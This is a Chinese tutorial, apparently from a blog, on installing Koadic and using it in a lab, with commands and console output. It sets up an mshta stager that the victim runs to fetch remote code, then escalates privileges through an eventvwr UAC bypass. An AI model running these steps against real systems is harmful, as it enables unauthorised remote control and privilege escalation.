Koadic的安装和使用

概述

Koadic是DEFCON分型出来的一个后渗透工具,主要通过vbscript、jscript进行大部分操作
废话不多说开始演示

环境准备

我准备的是两台虚拟机一台kali就是攻击机器
一台windows7 64位就是受害者了

安装

安装很简单
git clone https://github.com/zerosum0x0/koadic.git
之后安装依赖
cd koadic/
pip install -r requirements.txt

使用

运行
./koadic

(koadic: sta/js/mshta)#

首先我们得知道这个工具的几个概念

  • Stagers 就是在你攻击的机器上生成的payload的种类
  • Implants 就是当你控制机器后可以进行的操作

具体Stagers和Implants你可以看它的github页面
https://github.com/zerosum0x0/koadic

接着我们执行
use stager/js/mshta
就是使用mshta这个stager
之后设置本机的端口和ip,进行本地监听
你可以输入info命令来查看要设置的参数
set LHOST 192.168.1.104
set LPORT 9999
接着运行
run

(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.1.104:9999/BYhBU
[>] mshta http://192.168.1.104:9999/BYhBU

因为是后渗透工具,所以不管怎么说你肯定能在你控制的电脑上执行一条命令
在受害者机器上执行
mshta http://192.168.1.104:9999/BYhBU
我的话直接打开一个cmd执行就好了
接着会有一个python字符的坑,会出现下面这个错

就是下面这个错误
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 65: ordinal not in range(128)
你只要把字符编码换成utf-8就好了
怎么做呢看下面
首先退出程序
打开下面这个文件
vim koadic

添加上

3
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

总的文件是下面这个样子的

__version__ = "x".join(map(str, __version_info__))
__license__ = "Apache 2.0"

if __name__ == "__main__":
import core.shell

banner = open("data/banner.txt", "rb").read().decode("unicode_escape")

shell = core.shell.Shell(banner, __version__)
shell.run()

之后重新进行上面的操作就不会报错了

输入zombies来查看我们控制的机器

可以看到Elevated这里显示no表示我们没有进行提权
输入
use implant/elevate/bypassuac_eventvwr
查看一下这个模块的信息

(koadic: imp/ele/bypassuac_eventvwr)# info

PAYLOAD yes run payloads for a list
ZOMBIE ALL yes the zombie to target

这里我们把payload和zombie设置为0,就是表示payload为0不使用,zombie的编号为0
接着run就好了

成功
但是注意的是程序新建立了一个链接来bypass所以原来那个zombie连接虽然存在但是还是没有进行提权的用户,新建的那个连接才是进行提权过的用户,不信输入zombie看一下是不是多出了一个链接

是提权成功的
提权成功之后的机器我们可以使用implant里所有的模块,具体的模块自己研究吧
